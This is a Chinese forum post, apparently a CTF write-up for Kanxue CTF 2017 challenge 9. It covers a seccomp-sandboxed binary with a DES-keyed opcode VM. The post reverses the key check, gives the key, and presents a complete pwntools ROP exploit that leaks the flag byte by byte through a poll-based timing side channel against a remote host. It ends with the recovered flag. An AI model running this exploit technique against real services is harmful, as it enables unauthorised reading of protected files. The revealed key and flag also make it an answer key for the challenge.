-
-
[原创]看雪CTF2017第9题
-
2017-6-18 17:09 3990
-
1. 处理逻辑
seccomp初始化, 没有SYS_write, 没法输出
.text:0000000000000BD3 call seccomp_init .text:0000000000000BD8 test rax, rax .text:0000000000000BDB jz loc_C80 .text:0000000000000BE1 mov rbx, rax .text:0000000000000BE4 mov esi, AUDIT_ARCH_X86_64 .text:0000000000000BE9 mov rdi, rax .text:0000000000000BEC call seccomp_arch_add .text:0000000000000BF1 mov rdi, rbx .text:0000000000000BF4 xor esi, esi .text:0000000000000BF6 call rule_allow .text:0000000000000BFB mov rdi, rbx .text:0000000000000BFE mov esi, SYS_open .text:0000000000000C03 call rule_allow .text:0000000000000C08 mov rdi, rbx .text:0000000000000C0B mov esi, SYS_close .text:0000000000000C10 call rule_allow .text:0000000000000C15 mov rdi, rbx .text:0000000000000C18 mov esi, SYS_stat .text:0000000000000C1D call rule_allow .text:0000000000000C22 mov rdi, rbx .text:0000000000000C25 mov esi, SYS_fstat .text:0000000000000C2A call rule_allow .text:0000000000000C2F mov rdi, rbx .text:0000000000000C32 mov esi, SYS_lstat .text:0000000000000C37 call rule_allow .text:0000000000000C3C mov rdi, rbx .text:0000000000000C3F mov esi, SYS_poll .text:0000000000000C44 call rule_allow .text:0000000000000C49 mov rdi, rbx .text:0000000000000C4C mov esi, SYS_lseek .text:0000000000000C51 call rule_allow .text:0000000000000C56 mov rdi, rbx .text:0000000000000C59 mov esi, SYS_brk .text:0000000000000C5E call rule_allow .text:0000000000000C63 mov rdi, rbx .text:0000000000000C66 mov esi, SYS_execve .text:0000000000000C6B call rule_allow .text:0000000000000C70 mov rdi, rbx .text:0000000000000C73 pop rbx .text:0000000000000C74 jmp seccomp_load
用线性方程组验证key, 成功后使用该key解密输入的内容
输入格式: n(1字节) + key(8字节) + 加密的数据(8 * n)
.text:0000000000001060 sub_1060 if ( read(0, &buf, 1u) != 1 || (len = (unsigned int)(8 * buf.n), out = malloc(8 * buf.n), read(0, buf.key, 8u) != 8) || 20327 * buf.key[4] + 23911 * buf.key[3] + 18211 * buf.key[2] + 31063 * buf.key[1] + 30971 * buf.key[0] + 20921 * buf.key[5] + 20149 * buf.key[6] + 17477 * buf.key[7] != 14985352 || 29759 * buf.key[6] + 23633 * buf.key[5] + 20641 * buf.key[4] + 31121 * buf.key[3] + 16699 * buf.key[2] + 20359 * buf.key[1] + 20051 * buf.key[0] + 25111 * buf.key[7] != 14962906 || 27457 * buf.key[6] + 17291 * buf.key[5] + 26099 * buf.key[4] + 23333 * buf.key[3] + 25561 * buf.key[2] + 27073 * buf.key[1] + 25943 * buf.key[0] + 30839 * buf.key[7] != 16361024 || 19079 * buf.key[6] + 18959 * buf.key[5] + 32191 * buf.key[4] + 25411 * buf.key[3] + 29167 * buf.key[2] + 18313 * buf.key[1] + 29873 * buf.key[0] + 16879 * buf.key[7] != 14982624 || 23581 * buf.key[6] + 20509 * buf.key[5] + 28859 * buf.key[4] + 32441 * buf.key[3] + 19469 * buf.key[2] + 29437 * buf.key[1] + 16607 * buf.key[0] + 26849 * buf.key[7] != 16152948 || 17431 * buf.key[6] + 26981 * buf.key[5] + 19973 * buf.key[4] + 18869 * buf.key[3] + 26161 * buf.key[2] + 19927 * buf.key[1] + 16823 * buf.key[0] + 26633 * buf.key[7] != 14720714 || 31397 * buf.key[6] + 22091 * buf.key[5] + 25793 * buf.key[4] + 30577 * buf.key[3] + 28349 * buf.key[2] + 19073 * buf.key[1] + 26821 * buf.key[0] + 26947 * buf.key[7] != 16722910 || 19447 * buf.key[7] + 27793 * buf.key[6] + 22691 * buf.key[5] + 29629 * buf.key[4] + 26183 * buf.key[3] + 30817 * buf.key[2] + 17737 * buf.key[1] + 25339 * buf.key[0] != 15883204 ) { MEMORY[0] = 0; BUG(); } _read_chk(0, buf.buf, len, 0x800u); ks = malloc(0x80u); DES_set_key(buf.key, ks); DES_cbc_encrypt(buf.buf, out, len, ks, buf.key, 0LL);
这个有点像算术运算器
.text:0000000000000C90 op_code取值范围: 0x10~0x1F 这里仅列出有用到的op_code 10: r[0]=r[0]+r[1] 11: r[0]=r[1]-r[0] 14: r[0]=r[r[0]] 15: r[r[1]]=r[0] 16: push imm64 1F: ret
2. 利用分析
matlab解方程得到key: 3xpL0r3R
30971 * a + 31063 * b + 18211 * c + 23911 * d + 20327 * e + 20921 * f + 20149 * g + 17477 * h = 14985352 20051 * a + 20359 * b + 16699 * c + 31121 * d + 20641 * e + 23633 * f + 29759 * g + 25111 * h = 14962906 25943 * a + 27073 * b + 25561 * c + 23333 * d + 26099 * e + 17291 * f + 27457 * g + 30839 * h = 16361024 29873 * a + 18313 * b + 29167 * c + 25411 * d + 32191 * e + 18959 * f + 19079 * g + 16879 * h = 14982624 16607 * a + 29437 * b + 19469 * c + 32441 * d + 28859 * e + 20509 * f + 23581 * g + 26849 * h = 16152948 16823 * a + 19927 * b + 26161 * c + 18869 * d + 19973 * e + 26981 * f + 17431 * g + 26633 * h = 14720714 26821 * a + 19073 * b + 28349 * c + 30577 * d + 25793 * e + 22091 * f + 31397 * g + 26947 * h = 16722910 25339 * a + 17737 * b + 30817 * c + 26183 * d + 29629 * e + 22691 * f + 27793 * g + 19447 * h = 15883204
提供的op_code可以读写栈内容, 因此可以覆盖返回地址进行ROP
没有SYS_write权限, execve也执行不了
提供了SYS_poll权限, 可以用来模拟sleep
从文件读取一个字符后, 比较该字符与给定的字符是否相同,
不相同直接退出, 相同则sleep一段时间再退出
根据返回时间判断是否找到了对的字符
如此循环
3. 利用脚本
from pwn import * from Crypto.Cipher import DES context(arch='amd64', kernel='amd64', os='linux') context.log_level='error' # python test.py LOCAL=True IDA=True # python test.py LOCAL=True # python test.py if args['LOCAL']: libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_memcmp=0x143D70 libc_jz=0xA8ED2 else: libc=ELF('./ctflibc.so.6') libc_memcmp=0x15E790 libc_jz=0xB9FB0 def search(elf, pattern, from_addr=0): results=elf.search(pattern) for result in results: if (result>from_addr): #print hex(result) return result return 0 def search_asm(elf, inst, from_addr=0): return search(elf,asm(inst),from_addr) libc_start_main_ret=search_asm(libc,'call rax;mov edi,eax',libc.symbols['__libc_start_main'])+len(asm('call rax')) libc_open=libc.symbols['open'] libc_read=libc.symbols['read'] libc_poll=libc.symbols['poll'] libc_lseek=libc.symbols['lseek64'] libc_exit=libc.symbols['exit'] libc_rax=search_asm(libc,'pop rax;ret', 0x20000) libc_rdi=search_asm(libc,'pop rdi;ret', 0x20000) libc_rsi=search_asm(libc,'pop rsi;ret', 0x20000) libc_rdx=search_asm(libc,'pop rdx;ret', 0x20000) #search_asm(libc, 'mov rax, rbx;pop rbx;pop rbp; pop r12;pop r13; pop r14') def des_encrypt(text): key='3xpL0r3R' iv=key des=DES.new(key, DES.MODE_CBC, iv) pad='' if (len(text)%8) != 0: pad='\x00'*(8 - len(text) % 8) text = text + pad return des.encrypt(text) def op_push_imm(i): buf='' buf+=p8(0x16)+p64(i) return buf def op_push_var(idx): buf='' buf+=op_push_imm(idx) buf+=p8(0x14) # load return buf def op_set_var_by_imm(imm,write_idx): buf='' buf+=op_push_imm(imm) buf+=op_push_imm(write_idx) buf+=p8(0x15) # store return buf def op_add_var_by_imm(read_idx,imm,write_idx): buf='' if imm > 0: buf+=op_push_var(read_idx) buf+=op_push_imm(imm) buf+=p8(0x10) # add else: buf+=op_push_imm(0-imm) buf+=op_push_var(read_idx) buf+=p8(0x11) # sub buf+=op_push_imm(write_idx) buf+=p8(0x15) # store return buf def op_exit(): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_set_var_by_imm(0, index+1) buf+=op_add_var_by_imm(1, libc_exit, index+2) index+=3 return buf def op_open(file_idx): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_add_var_by_imm(2, file_idx*8, index+1) buf+=op_add_var_by_imm(1, libc_rsi, index+2) buf+=op_set_var_by_imm(0, index+3) buf+=op_add_var_by_imm(1, libc_rdx, index+4) buf+=op_set_var_by_imm(0, index+5) buf+=op_add_var_by_imm(1, libc_open, index+6) index+=7 return buf def op_read(fd,buf_idx,buf_len): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_set_var_by_imm(fd, index+1) buf+=op_add_var_by_imm(1, libc_rsi, index+2) buf+=op_add_var_by_imm(2, buf_idx*8, index+3) buf+=op_add_var_by_imm(1, libc_rdx, index+4) buf+=op_set_var_by_imm(buf_len, index+5) buf+=op_add_var_by_imm(1, libc_read, index+6) index+=7 return buf def op_lseek(fd,offset): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_set_var_by_imm(fd, index+1) buf+=op_add_var_by_imm(1, libc_rsi, index+2) buf+=op_set_var_by_imm(offset, index+3) buf+=op_add_var_by_imm(1, libc_rdx, index+4) buf+=op_set_var_by_imm(0, index+5) buf+=op_add_var_by_imm(1, libc_lseek, index+6) index+=7 return buf def op_memcmp(src_idx,dst_idx): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_add_var_by_imm(2, src_idx*8, index+1) buf+=op_add_var_by_imm(1, libc_rsi, index+2) buf+=op_add_var_by_imm(2, dst_idx*8, index+3) buf+=op_add_var_by_imm(1, libc_rdx, index+4) buf+=op_set_var_by_imm(1, index+5) buf+=op_add_var_by_imm(1, libc_memcmp, index+6) index+=7 return buf def op_poll(seconds): global index buf='' buf+=op_add_var_by_imm(1, libc_rdi, index) buf+=op_set_var_by_imm(0, index+1) buf+=op_add_var_by_imm(1, libc_rsi, index+2) buf+=op_set_var_by_imm(0, index+3) buf+=op_add_var_by_imm(1, libc_rdx, index+4) buf+=op_set_var_by_imm(1000*seconds, index+5) buf+=op_add_var_by_imm(1, libc_poll, index+6) index+=7 return buf def op_ret(v): buf='' buf+=op_push_imm(v) buf+=p8(0x1f) return buf def get_one_char(file_offset): global index for i in range(256): if args['LOCAL']: if args['IDA']: io=process('./linux_serverx64') print io.recvline() print io.recvline() print io.recvline() print io.recvline() else: io=process('./main') else: io=remote('211.159.216.90',51888) #print 'trying '+str(i) ''' data='' data+=op_push_imm(3) data+=op_push_imm(4) data+=p8(0x1A) data+=p64(0x1122334455667788) ''' data='' data+=op_push_imm(0) # used to store libc base data+=op_push_imm(0) # used to store stack base data+=op_push_imm(u64('./flag'.ljust(8,'\x00'))) # flag path data+=op_push_imm(0) # used to store char read from file data+=op_push_imm(i) # used to store the char to compare with # store libc base data+=op_add_var_by_imm(0x3F5, 0-libc_start_main_ret, 1) data+=op_add_var_by_imm(0x3EE, 0-0x2080, 2) # write rop chain index=0x3F5 data+=op_open(3) # open('./flag',0,0) data+=op_lseek(3,file_offset) # lseek(3, offset, SEEK_SET) data+=op_read(3,4,1) # read(3, buf, 1) data+=op_memcmp(4,5) # memcmp(buf, stack_var, 1) # jnz exit data+=op_add_var_by_imm(1, libc_jz, index); index+=1 data+=op_set_var_by_imm(0,index); index+=1 data+=op_set_var_by_imm(0,index); index+=1 data+=op_set_var_by_imm(0,index); index+=1 data+=op_set_var_by_imm(0,index); index+=1 data+=op_set_var_by_imm(0,index); index+=1 data+=op_poll(3) # sleep(3) data+=op_exit() data+=op_ret(0) data=des_encrypt(data) buf='' buf+=p8(len(data)/8) buf+='3xpL0r3R' buf+=data io.send(buf) try: io.recvline(timeout=1) io.close() return i except: io.close continue break return -1 def exploit(): chars='PediyCtf2017' for i in range(len(chars),256): ch=get_one_char(i) if (ch==-1 or ch==0): break chars+=chr(ch) print chars return exploit(
输出结果
chars='' root@kali:~/Desktop/9# python test.py P Pe Ped Pedi Pediy PediyC PediyCt PediyCtf PediyCtf2 PediyCtf20 PediyCtf201 PediyCtf2017 这里打开fd太多出错, 设置已得到的结果, 重新运行 chars='PediyCtf2017' root@kali:~/Desktop/9# python test.py PediyCtf2017P PediyCtf2017Pw PediyCtf2017Pwn PediyCtf2017Pwn@ PediyCtf2017Pwn@2 PediyCtf2017Pwn@23 PediyCtf2017Pwn@233
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
KCTF2022春季赛 第三题 石像病毒
8276
KCTF2022春季赛 第二题 末日邀请
15399
KCTF2021秋季赛 第二题 迷失丛林
17937
KCTF2020秋季赛 第十题 终焉之战
8108
KCTF2020秋季赛 第九题 命悬一线
5831
看原图